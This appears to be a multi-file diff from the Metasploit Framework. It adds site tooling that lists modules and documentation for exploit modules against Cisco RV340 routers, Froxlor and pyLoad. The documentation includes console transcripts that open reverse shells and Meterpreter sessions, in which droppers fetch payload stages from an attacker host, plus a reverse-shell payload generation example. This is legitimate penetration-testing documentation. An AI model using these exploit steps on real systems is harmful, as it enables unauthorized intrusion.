|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/gitlab_shell_exec": {
|
||||
"name": "Gitlab-shell Code Execution",
|
||||
"fullname": "exploit/multi/http/gitlab_shell_exec",
|
||||
|
||||
@@ -1,29 +1,2 @@
|
||||
<style>
|
||||
#main-content p {
|
||||
text-align: justify;
|
||||
}
|
||||
<link rel="stylesheet" href="{% link assets/css/main.css %}">
|
||||
|
||||
.language-mermaid .label {
|
||||
text-transform: inherit;
|
||||
}
|
||||
|
||||
.language-msf .zp {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.language-msf .ze {
|
||||
color: #960050;
|
||||
}
|
||||
|
||||
.language-msf .zg {
|
||||
color: #859900;
|
||||
}
|
||||
|
||||
.language-msf .zs {
|
||||
color: #268bd2;
|
||||
}
|
||||
|
||||
.language-msf .zw {
|
||||
color: orange;
|
||||
}
|
||||
</style>
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
// Handle opening/closing module overview list items
|
||||
jtd.onReady(function(ready) {
|
||||
var moduleStructures = document.querySelectorAll('.module-structure');
|
||||
for (var i = 0; i < moduleStructures.length; i++) {
|
||||
jtd.addEvent(moduleStructures[i], 'click', function (e) {
|
||||
var originalTarget = e.target || e.srcElement || e.originalTarget;
|
||||
if (originalTarget.tagName !== 'A') { return; }
|
||||
|
||||
var parentListItem = originalTarget.closest('li');
|
||||
if (parentListItem.className.indexOf('folder') === -1) { return; }
|
||||
|
||||
var childList = parentListItem.querySelector('ul');
|
||||
if (childList) {
|
||||
childList.classList.toggle('open');
|
||||
}
|
||||
e.preventDefault();
|
||||
});
|
||||
}
|
||||
});
|
||||
@@ -0,0 +1,138 @@
|
||||
require 'jekyll'
|
||||
require 'json'
|
||||
require 'pathname'
|
||||
|
||||
#
|
||||
# Helper class for extracting information related to Metasploit framework's stats
|
||||
#
|
||||
class MetasploitStats
|
||||
# @return [Hash<String, Integer>] A map of module type to the amount of modules
|
||||
def module_counts
|
||||
module_counts_by_type = modules.group_by { |mod| mod['type'].to_s }.transform_values { |mods| mods.count }.sort_by(&:first).to_h
|
||||
module_counts_by_type
|
||||
end
|
||||
|
||||
# @return [Array<Hash<String, Hash>>] A nested array of module metadata, containing at least the keys :name, :total, :children
|
||||
def nested_module_counts
|
||||
create_nested_module_counts(modules)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# @param [Array<Hash>] modules
|
||||
# @param [String] parent_path The parent path to track the nesting depth when called recursively
|
||||
# i.e. auxiliary, then auxiliary/admin, then auxiliary/admin/foo, etc
|
||||
def create_nested_module_counts(modules, parent_path = '')
|
||||
# Group the modules by their prefix, i.e. auxiliary/payload/encoder/etc
|
||||
top_level_buckets = modules.select { |mod| mod['fullname'].start_with?(parent_path) }.group_by do |mod|
|
||||
remaining_paths = mod['fullname'].gsub(parent_path.empty? ? '' : %r{^#{parent_path}/}, '').split('/')
|
||||
remaining_paths[0]
|
||||
end.sort.to_h
|
||||
|
||||
top_level_buckets.map do |(prefix, children)|
|
||||
current_path = parent_path.empty? ? prefix : "#{parent_path}/#{prefix}"
|
||||
mod = modules_by_fullname[current_path]
|
||||
{
|
||||
name: prefix,
|
||||
total: children.count,
|
||||
module_fullname: mod ? mod['fullname'] : nil,
|
||||
module_path: mod ? mod['path'] : nil,
|
||||
children: mod.nil? ? create_nested_module_counts(children, current_path) : []
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
# @return [Array<Hash>] An array of Hashes containing each Metasploit module's metadata
|
||||
def modules
|
||||
return @modules if @modules
|
||||
|
||||
module_metadata_path = '../db/modules_metadata_base.json'
|
||||
unless File.exist?(module_metadata_path)
|
||||
raise "Unable to find Metasploit module data, expected it to be at #{module_metadata_path}"
|
||||
end
|
||||
|
||||
@modules = JSON.parse(File.binread(module_metadata_path)).values
|
||||
@modules
|
||||
end
|
||||
|
||||
# @return [Hash<String, Hash>] A mapping of module name to Metasploit module metadata
|
||||
def modules_by_fullname
|
||||
@modules_by_fullname ||= @modules.each_with_object({}) do |mod, hash|
|
||||
fullname = mod['fullname']
|
||||
hash[fullname] = mod
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Custom liquid filter implementation for visualizing nested Metasploit module metadata
|
||||
#
|
||||
# Intended usage:
|
||||
# {{ site.metasploit_nested_module_counts | module_tree }}
|
||||
module ModuleFilter
|
||||
# @param [Array<Hash>] modules The array of Metasploit cache information
|
||||
# @return [String] The module tree HTML representation of the given modules
|
||||
def module_tree(modules)
|
||||
rendered_children = render_modules(modules)
|
||||
|
||||
<<~EOF
|
||||
<ul class="module-structure">#{rendered_children}</ul>
|
||||
EOF
|
||||
end
|
||||
|
||||
module_function
|
||||
|
||||
# @param [Array<Hash>] modules The array of Metasploit cache information
|
||||
# @return [String] The rendered tree HTML representation of the given modules
|
||||
def render_modules(modules)
|
||||
modules.map do |mod|
|
||||
result = "<li#{render_child_modules?(mod) ? ' class="folder"' : ''}>#{heading_for_mod(mod)}"
|
||||
if render_child_modules?(mod)
|
||||
result += "\n<ul>#{render_modules(mod[:children].sort_by { |mod| "#{render_child_modules?(mod) ? 0 : 1}-#{mod[:name]}" })}</ul>\n"
|
||||
end
|
||||
result += "</li>"
|
||||
result
|
||||
end.join("\n")
|
||||
end
|
||||
|
||||
# @param [Hash] mod The module metadata object
|
||||
# @return [String] Human readable string for a module list such as `- <a>Auxiliary (1234)</a>` or `- Other (50)`
|
||||
def heading_for_mod(mod)
|
||||
if render_child_modules?(mod)
|
||||
"<a href=\"#\"><div class=\"target\">#{mod[:name]} (#{mod[:total]})</div></a>"
|
||||
else
|
||||
config = Jekyll.sites.first.config
|
||||
# Preference linking to module documentation over the module implementation
|
||||
module_docs_path = Pathname.new("documentation").join(mod[:module_path].gsub(/^\//, '')).sub_ext(".md")
|
||||
link_path = File.exist?(File.join('..', module_docs_path)) ? "/#{module_docs_path}" : mod[:module_path]
|
||||
docs_link = "#{config['gh_edit_repository']}/#{config['gh_edit_view_mode']}/#{config['gh_edit_branch']}#{link_path}"
|
||||
"<a href=\"#{docs_link}\" target=\"_blank\"><div class=\"target\">#{mod[:module_fullname]}</div></a>"
|
||||
end
|
||||
end
|
||||
|
||||
# @param [Hash] mod The module metadata object
|
||||
# @return [TrueClass, FalseClass]
|
||||
def render_child_modules?(mod)
|
||||
mod[:children].length >= 1 && mod[:module_path].nil?
|
||||
end
|
||||
end
|
||||
|
||||
# Register the Liquid filter so any Jekyll page can render module information
|
||||
Liquid::Template.register_filter(ModuleFilter)
|
||||
|
||||
# Register the site initialization hook to populate global site information so any Jekyll page can access Metasploit stats information
|
||||
Jekyll::Hooks.register :site, :after_init do |site|
|
||||
begin
|
||||
Jekyll.logger.info 'Calculating module stats'
|
||||
|
||||
metasploit_stats = MetasploitStats.new
|
||||
|
||||
site.config['metasploit_total_module_count'] = metasploit_stats.module_counts.sum { |_type, count| count }
|
||||
site.config['metasploit_module_counts'] = metasploit_stats.module_counts
|
||||
site.config['metasploit_nested_module_counts'] = metasploit_stats.nested_module_counts
|
||||
|
||||
Jekyll.logger.info 'Finished calculating module stats'
|
||||
rescue
|
||||
Jekyll.logger.error "Unable to to extractMetasploit stats"
|
||||
raise
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,110 @@
|
||||
---
|
||||
---
|
||||
|
||||
#main-content p {
|
||||
text-align: justify;
|
||||
}
|
||||
|
||||
/* Color highlighting for msf console text */
|
||||
.language-mermaid .label {
|
||||
text-transform: inherit;
|
||||
}
|
||||
|
||||
.language-msf .zp {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.language-msf .ze {
|
||||
color: #960050;
|
||||
}
|
||||
|
||||
.language-msf .zg {
|
||||
color: #859900;
|
||||
}
|
||||
|
||||
.language-msf .zs {
|
||||
color: #268bd2;
|
||||
}
|
||||
|
||||
.language-msf .zw {
|
||||
color: orange;
|
||||
}
|
||||
|
||||
/* Module overview styles */
|
||||
|
||||
.module-structure li::before {
|
||||
content: ' ' !important;
|
||||
}
|
||||
|
||||
.module-structure a {
|
||||
height: 100%;
|
||||
padding: 0.2rem;
|
||||
background-image: none;
|
||||
overflow: initial;
|
||||
display: inline-block;
|
||||
width: 90%;
|
||||
}
|
||||
|
||||
.module-structure a, .module-structure a:hover {
|
||||
background-image: none;
|
||||
}
|
||||
|
||||
.module-structure a:hover .target {
|
||||
pointer-events: none;
|
||||
display: inline-block;
|
||||
text-decoration: none;
|
||||
background-image: linear-gradient(rgba(114, 83, 237, 0.45) 0%, rgba(114, 83, 237, 0.45) 100%);
|
||||
background-repeat: repeat-x;
|
||||
background-position: 0 100%;
|
||||
background-size: 1px 1px;
|
||||
}
|
||||
|
||||
.module-structure {
|
||||
line-height: 2rem;
|
||||
}
|
||||
|
||||
/* visual indentation lines */
|
||||
.module-structure ul {
|
||||
margin-left: 7px !important;
|
||||
padding-left: 20px !important;
|
||||
border-left: 1px dashed #d1d7de;
|
||||
}
|
||||
|
||||
.module-structure li p {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.module-structure li {
|
||||
margin: 0;
|
||||
list-style: none;
|
||||
}
|
||||
|
||||
.module-structure ul {
|
||||
display: none;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.module-structure ul.open {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/* Default li style - files */
|
||||
.module-structure li::before {
|
||||
background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' fill='%234158bf' viewBox='0 0 512 512'><path d='M320 464c8.8 0 16-7.2 16-16V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320zM0 64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64z'/></svg>");
|
||||
background-repeat: no-repeat;
|
||||
width: 1rem;
|
||||
height: 1rem;
|
||||
background-position: center top;
|
||||
background-size: 90% auto;
|
||||
margin-top: 0;
|
||||
vertical-align: middle;
|
||||
margin-left: initial !important;
|
||||
margin-right: 0.5rem !important;
|
||||
display: inline-block !important;
|
||||
position: initial !important;
|
||||
}
|
||||
|
||||
/* li style - folders */
|
||||
.module-structure li.folder::before {
|
||||
background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' fill='%234158bf' viewBox='0 0 512 512'><path d='M64 480H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H288c-10.1 0-19.6-4.7-25.6-12.8L243.2 57.6C231.1 41.5 212.1 32 192 32H64C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64z'/></svg>");
|
||||
}
|
||||
@@ -51,7 +51,7 @@ Difficulty: 4/5
|
||||
|
||||
Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps. The main idea here is to create a visualization tool that helps users understand data that has been gathered into Metasploit during usage in some useful way. Proposals should note where the service will live, how a user will use the service, and how you will provide a maintainable and extendable consumer for the data that is exposed.
|
||||
|
||||
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [Metasploit-Data-Service-Enhancements-(Goliath)](./Metasploit-Data-Service-Enhancements-Goliath)
|
||||
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [[Metasploit-Data-Service-Enhancements-(Goliath)|./Metasploit-Data-Service-Enhancements-Goliath]]
|
||||
|
||||
Size: Medium/Large (Depends on proposal)
|
||||
Difficulty 3/5
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
## Metasploit modules
|
||||
|
||||
There are currently {{ site.metasploit_total_module_count }} Metasploit modules:
|
||||
|
||||
{{ site.metasploit_nested_module_counts | module_tree }}
|
||||
|
||||
## Module types
|
||||
|
||||
### Auxiliary modules ({{ site.metasploit_module_counts["auxiliary"] }})
|
||||
|
||||
Auxiliary modules do not exploit a target, but can perform useful tasks such as:
|
||||
|
||||
- Administration - Modify, operate, or manipulate something on target machine
|
||||
- Analyzing - Tools that perform analysis, mostly password cracking
|
||||
- Gathering - Gather, collect, or enumerate data from a single target
|
||||
- Denial of Service - Crash or slow a target machine or service
|
||||
- Scanning - Scan targets for known vulnerabilities
|
||||
- Server Support - Run Servers for common protocols such as SMB, FTP, etc
|
||||
|
||||
### Encoder modules ({{ site.metasploit_module_counts["encoder"] }})
|
||||
|
||||
Encoders take the raw bytes of a payload and run some sort of encoding algorithm, like bitwise XOR. These modules are useful for encoding
|
||||
bad characters such as null bytes.
|
||||
|
||||
### Evasion modules ({{ site.metasploit_module_counts["evasion"] }})
|
||||
|
||||
Evasion modules give Framework users the ability to generate evasive payloads that aim to evade AntiVirus, such as Windows Defender,
|
||||
without having to install external tools.
|
||||
|
||||
### Exploit modules ({{ site.metasploit_module_counts["exploit"] }})
|
||||
|
||||
Exploit modules are used to leverage vulnerabilities in a manner that allows the framework to execute arbitrary code.
|
||||
The arbitrary code that is executed is referred to as the payload.
|
||||
|
||||
### Nop modules ({{ site.metasploit_module_counts["nop"] }})
|
||||
|
||||
Nop modules, short for 'No Operation', generate a sequence of 'No Operation' instructions that perform no side-effects.
|
||||
NOPs are often used in conjunction with stack buffer overflows.
|
||||
|
||||
### Payloads modules ({{ site.metasploit_module_counts["payload"] }})
|
||||
|
||||
In the context of Metasploit exploit modules, payload modules encapsulate the arbitrary code (shellcode) that is executed
|
||||
as the result of an exploit succeeding. This normally involves the creation of a Metasploit session, but may instead
|
||||
execute code such as adding user accounts, or executing a simple pingback command that verifies that code execution was successful against a vulnerable target.
|
||||
|
||||
Payload modules can also be used individually to generate standalone executables, or shellcode for use within exploits:
|
||||
|
||||
```msf
|
||||
msf6 payload(linux/x86/shell_reverse_tcp) > back
|
||||
msf6 > use payload/linux/x86/shell_reverse_tcp
|
||||
msf6 payload(linux/x86/shell_reverse_tcp) > set lhost 127.0.0.1
|
||||
lhost => 127.0.0.1
|
||||
msf6 payload(linux/x86/shell_reverse_tcp) > set lport 4444
|
||||
lport => 4444
|
||||
|
||||
# Generate a payload for use within C
|
||||
msf6 payload(linux/x86/shell_reverse_tcp) > generate -f c
|
||||
|
||||
# Generate an ELF file for execution on Linux environments
|
||||
msf6 payload(linux/x86/shell_reverse_tcp) > generate -f elf -o linux_shell
|
||||
```
|
||||
|
||||
### Post modules ({{ site.metasploit_module_counts["post"] }})
|
||||
|
||||
These modules are useful after a machine has been compromised and a Metasploit session has been opened. They perform useful
|
||||
tasks such as gathering, collecting, or enumerating data from a session.
|
||||
+9
-4
@@ -63,10 +63,15 @@ NAVIGATION_CONFIG = [
|
||||
path: 'Code-Of-Conduct.md',
|
||||
nav_order: 2
|
||||
},
|
||||
{
|
||||
path: 'Modules.md',
|
||||
title: 'Modules',
|
||||
nav_order: 3
|
||||
},
|
||||
{
|
||||
title: 'Pentesting',
|
||||
folder: 'pentesting',
|
||||
nav_order: 3,
|
||||
nav_order: 4,
|
||||
children: [
|
||||
{
|
||||
path: 'Metasploit-Guide-Setting-Module-Options.md',
|
||||
@@ -211,7 +216,7 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
title: 'Using Metasploit',
|
||||
folder: 'using-metasploit',
|
||||
nav_order: 4,
|
||||
nav_order: 5,
|
||||
children: [
|
||||
{
|
||||
title: 'Getting Started',
|
||||
@@ -422,7 +427,7 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
title: 'Development',
|
||||
folder: 'development',
|
||||
nav_order: 5,
|
||||
nav_order: 6,
|
||||
children: [
|
||||
{
|
||||
title: 'Get Started ',
|
||||
@@ -928,6 +933,6 @@ NAVIGATION_CONFIG = [
|
||||
},
|
||||
{
|
||||
path: 'Contact.md',
|
||||
nav_order: 5
|
||||
nav_order: 7
|
||||
},
|
||||
].freeze
|
||||
|
||||
@@ -0,0 +1,97 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits two vulnerabilities, an authentication bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707),
|
||||
to execute code on Cisco RV160, RV260, RV340, and RV345 Small Business Routers prior to 1.0.03.26 as the
|
||||
`www-data` user. The command injection occurs in the `upload.cgi` script, where user input in the `data` POST parameter
|
||||
is passed to `curl` without any sanitization. Additionally, the `sessionid` session cookie can be abused for a path
|
||||
traversal vulnerability, which can be used to bypass authentication by setting `sessionid` to the path to a valid
|
||||
file on the target.
|
||||
|
||||
This module has been tested against an RV340 device running firmware version 1.0.03.24.
|
||||
Firmware version 1.0.03.26 patches these vulnerabilities.
|
||||
|
||||
### Installation
|
||||
|
||||
Firmware version 1.0.03.24, which is vulnerable to CVE-2022-20705 and CVE-2022-20707, can be downloaded from
|
||||
https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.24
|
||||
|
||||
To install this firmware, follow the following directions:
|
||||
1. Log into the modem. The default IP address is 192.168.1.1 and the default credentials
|
||||
are `cisco` for the username and password.
|
||||
2. The `administration` option on the left side of the web page will take you to a form
|
||||
with a `Manual Upgrade` section.
|
||||
3. Leave `File Type: ` on the default `Firmware Image` option.
|
||||
4. Change `Upgrade From:` option to `PC`.
|
||||
5. Press the `Upgrade` button.
|
||||
6. Press `Yes` on the message box asking `Are you sure you want to upgrade the firmware right now?`.
|
||||
7. Wait for router reboot to complete.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the vulnerable firmware
|
||||
2. Start `msfconsole`
|
||||
3. Do: `use modules/exploits/linux/http/cisco_rv340_lan`
|
||||
4. Do: `set lhost <listening ip>`
|
||||
5. Do: `set rhost <target ip>`
|
||||
6. Do: `exploit`
|
||||
7. Verify: You see the message `Exploit successfully executed` confirming the exploit completed
|
||||
8. Verify: You are the `www-data` user using the `id` command
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Cisco RV340 Router 1.0.03.24 on ARM architecture - reverse_netcat payload
|
||||
|
||||
```
|
||||
msf6 > use modules/exploits/linux/http/cisco_rv340_lan
|
||||
[*] Using configured payload cmd/unix/reverse_netcat
|
||||
msf6 exploit(linux/http/cisco_rv340_lan) > set lhost 192.168.1.142
|
||||
lhost => 192.168.1.142
|
||||
msf6 exploit(linux/http/cisco_rv340_lan) > set rhost 192.168.1.1
|
||||
rhost => 192.168.1.1
|
||||
msf6 exploit(linux/http/cisco_rv340_lan) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.142:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. The device responded to exploitation with a 200 OK.
|
||||
[*] Executing Unix Command for cmd/unix/reverse_netcat
|
||||
[*] Command shell session 1 opened (192.168.1.142:4444 -> 192.168.1.1:55885) at 2023-02-05 10:06:22 -0500
|
||||
[+] Exploit successfully executed.
|
||||
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
|
||||
### Cisco RV340 Router 1.0.03.24 on ARM architecture - reverse_tcp ARMLE Meterpreter payload
|
||||
|
||||
```
|
||||
msf6 > use modules/exploits/linux/http/cisco_rv340_lan
|
||||
[*] Using configured payload cmd/unix/reverse_netcat
|
||||
msf6 exploit(linux/http/cisco_rv340_lan) > set lhost 192.168.1.142
|
||||
lhost => 192.168.1.142
|
||||
msf6 exploit(linux/http/cisco_rv340_lan) > set rhost 192.168.1.1
|
||||
rhost => 192.168.1.1
|
||||
msf6 exploit(linux/http/cisco_rv340_lan) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/cisco_rv340_lan) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.142:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. The device responded to exploitation with a 200 OK.
|
||||
[*] Executing Linux Dropper for linux/armle/meterpreter/reverse_tcp
|
||||
[*] Using URL: http://192.168.1.142:8080/3b2NfBKR0OS
|
||||
[*] Client 192.168.1.1 (Wget) requested /3b2NfBKR0OS
|
||||
[*] Sending payload to 192.168.1.1 (Wget)
|
||||
[*] Sending stage (934728 bytes) to 192.168.1.1
|
||||
[+] Exploit successfully executed.
|
||||
[*] Command Stager progress - 100.00% done (117/117 bytes)
|
||||
[*] Meterpreter session 2 opened (192.168.1.142:4444 -> 192.168.1.1:55950) at 2023-02-05 10:12:37 -0500
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > shell
|
||||
Process 11012 created.
|
||||
Channel 1 created.
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
@@ -0,0 +1,100 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Froxlor is an open source web hosting control panel. Froxlor v2.0.6 and below suffers from a bug that allows
|
||||
authenticated users to change the application logs path to any directory on the OS level which the user www-data can
|
||||
write without restrictions from the backend which leads to writing a malicious Twig template that the application will
|
||||
render. That will lead to achieving a remote command execution under the user www-data.
|
||||
|
||||
### Setup
|
||||
Install php 8.1 and MySQL. Download the vulnerable Froxlor application and place it in Ubuntu's default webroot. The
|
||||
below instruction set should be able to be copy and pasted into a terminal in order to deploy a vulnerable application.
|
||||
```
|
||||
sudo add-apt-repository ppa:ondrej/php
|
||||
sudo apt install php8.1
|
||||
sudo apt install php8.1-common php8.1-mysql php8.1-xml php8.1-xmlrpc php8.1-curl php8.1-gd php8.1-imagick php8.1-cli php8.1-dev php8.1-imap php8.1-mbstring php8.1-opcache php8.1-soap php8.1-zip php8.1-redis php8.1-intl php8.1-gmp php8.1-bcmath -y
|
||||
wget https://files.froxlor.org/releases/froxlor-2.0.3.tar.gz
|
||||
gunzip froxlor-2.0.3.tar.gz
|
||||
tar -xvf froxlor-2.0.3.tar
|
||||
sudo rm /var/www/html/index.html
|
||||
sudo cp -r froxlor /var/www/html/
|
||||
cd /var/www/html/
|
||||
sudo chown -R www-data:www-data ./
|
||||
sudo apt install mysql-server
|
||||
`sudo systemctl start mysql.service`
|
||||
sudo mysql
|
||||
mysql> ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'notpassword';
|
||||
mysql> quit;
|
||||
sudo systemctl restart apache2
|
||||
```
|
||||
|
||||
After the above completes successfully, navigate to http://localhost/froxlor to finish the web-based portion of the
|
||||
installation. Accept the EULA and input the database credentials and then start the application.
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI
|
||||
|
||||
The base URI path of Froxlor. **Default: /froxlor**
|
||||
|
||||
### WEB_ROOT
|
||||
|
||||
The webroot of the Froxlor server. The webroot must be known in order to write the absolute path of the logfile. The
|
||||
default options assumes Froxlor is installed on an Ubuntu machine: **Default: /var/www/html**
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/linux/http/froxlor_log_path_rce`
|
||||
1. Set the `RHOSTS`, `LHOST`, `USERNAME`, and `PASSWORD` options
|
||||
1. Run the module
|
||||
1. Receive a Meterpreter session as the `root` user.
|
||||
|
||||
## Scenarios
|
||||
### Ubuntu 20.04, Froxlor 2.0.3 running on Apache, MySQL and PHP 8.1
|
||||
```
|
||||
msf6 > use exploit/linux/http/froxlor_log_path_rce
|
||||
[*] Using exploit/linux/http/froxlor_log_path_rce
|
||||
msf6 exploit(linux/http/froxlor_log_path_rce) > set rhosts 172.16.199.140
|
||||
rhosts => 172.16.199.140
|
||||
msf6 exploit(linux/http/froxlor_log_path_rce) > set lhost 172.16.199.1
|
||||
lhost => 172.16.199.1
|
||||
msf6 exploit(linux/http/froxlor_log_path_rce) > set lport 9191
|
||||
lport => 9191
|
||||
msf6 exploit(linux/http/froxlor_log_path_rce) > set username admin
|
||||
username => admin
|
||||
msf6 exploit(linux/http/froxlor_log_path_rce) > set password notpassword
|
||||
password => notpassword
|
||||
msf6 exploit(linux/http/froxlor_log_path_rce) > rexploit
|
||||
[*] Reloading module...
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.199.1:9191
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] Successful login
|
||||
[+] The target appears to be vulnerable. Vulnerable version found: 2.0.3
|
||||
[+] Successfully Logged in!
|
||||
[+] CSRF token is : 5701b7e6335ab13e20e91845b210b6be0bea7621
|
||||
[+] Changed logfile path to: /var/www/html/froxlor/templates/Froxlor/footer.html.twig
|
||||
[*] Using URL: http://172.16.199.1:8080/ygs3pAWMRNIs
|
||||
[+] Injected payload sucessfully
|
||||
[*] Changing logfile path back to default value while triggering payload: /var/www/html/froxlor/logs/froxlor.log
|
||||
[*] Client 172.16.199.140 (Wget/1.20.3 (linux-gnu)) requested /ygs3pAWMRNIs
|
||||
[*] Sending payload to 172.16.199.140 (Wget/1.20.3 (linux-gnu))
|
||||
[*] Sending stage (3045348 bytes) to 172.16.199.140
|
||||
[*] Cleaning up...
|
||||
[*] Deleting tampered footer.html.twig file
|
||||
[*] Rewriting clean footer.html.twig file
|
||||
[*] Meterpreter session 3 opened (172.16.199.1:9191 -> 172.16.199.140:50398) at 2023-02-13 18:20:02 -0500
|
||||
[*] Command Stager progress - 100.00% done (117/117 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.16.199.140
|
||||
OS : Ubuntu 20.04 (Linux 5.15.0-58-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,65 @@
|
||||
## Vulnerable Application
|
||||
|
||||
pyLoad versions prior to 0.5.0b3.dev31 are vulnerable to Python code injection due to the pyimport
|
||||
functionality exposed through the js2py library. An unauthenticated attacker can issue a crafted POST request
|
||||
to the flash/addcrypted2 endpoint to leverage this for code execution. pyLoad by default runs two services,
|
||||
the primary of which is on port 8000 and can not be used by external hosts. A secondary "Click 'N' Load" service runs on
|
||||
port 9666 and can be used remotely without authentication.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start a vulnerable instance of pyLoad using docker
|
||||
2. Start msfconsole
|
||||
3. Run: `use exploit/linux/http/pyload_js2py_exec`
|
||||
4. Set the `RHOST`, `PAYLOAD` and payload associated options
|
||||
5. Run: `run`
|
||||
|
||||
### Docker Setup
|
||||
|
||||
```
|
||||
docker run -d \
|
||||
--name=pyload-ng \
|
||||
-e PUID=1000 \
|
||||
-e PGID=1000 \
|
||||
-e TZ=Etc/UTC \
|
||||
-p 8000:8000 \
|
||||
-p 9666:9666 \
|
||||
--restart unless-stopped \
|
||||
lscr.io/linuxserver/pyload-ng:version-0.5.0b3.dev30
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### pyLoad 0.5.0b3.dev30 via Docker
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/pyload_js2py_exec
|
||||
[*] Using configured payload cmd/unix/generic
|
||||
msf6 exploit(linux/http/pyload_js2py_exec) > set RHOSTS 192.168.159.128
|
||||
RHOSTS => 192.168.159.128
|
||||
msf6 exploit(linux/http/pyload_js2py_exec) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp
|
||||
PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/pyload_js2py_exec) > set LHOST 192.168.250.134
|
||||
LHOST => 192.168.250.134
|
||||
msf6 exploit(linux/http/pyload_js2py_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.250.134:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Successfully tested command injection.
|
||||
[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp
|
||||
[*] Sending stage (24380 bytes) to 172.17.0.2
|
||||
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 172.17.0.2:40830) at 2023-02-15 15:28:52 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: abc
|
||||
meterpreter > sysinfo
|
||||
Computer : f03ec089a4fe
|
||||
OS : Linux 6.0.18-200.fc36.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Jan 7 17:08:48 UTC 2023
|
||||
Architecture : x64
|
||||
Meterpreter : python/linux
|
||||
meterpreter > pwd
|
||||
/config/data
|
||||
meterpreter >
|
||||
```
|
||||
@@ -43,13 +43,13 @@ changed.
|
||||
msf6 > use exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669
|
||||
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
|
||||
LHOST => 10.0.0.179
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
|
||||
RHOSTS => 10.0.0.219
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.179:4444
|
||||
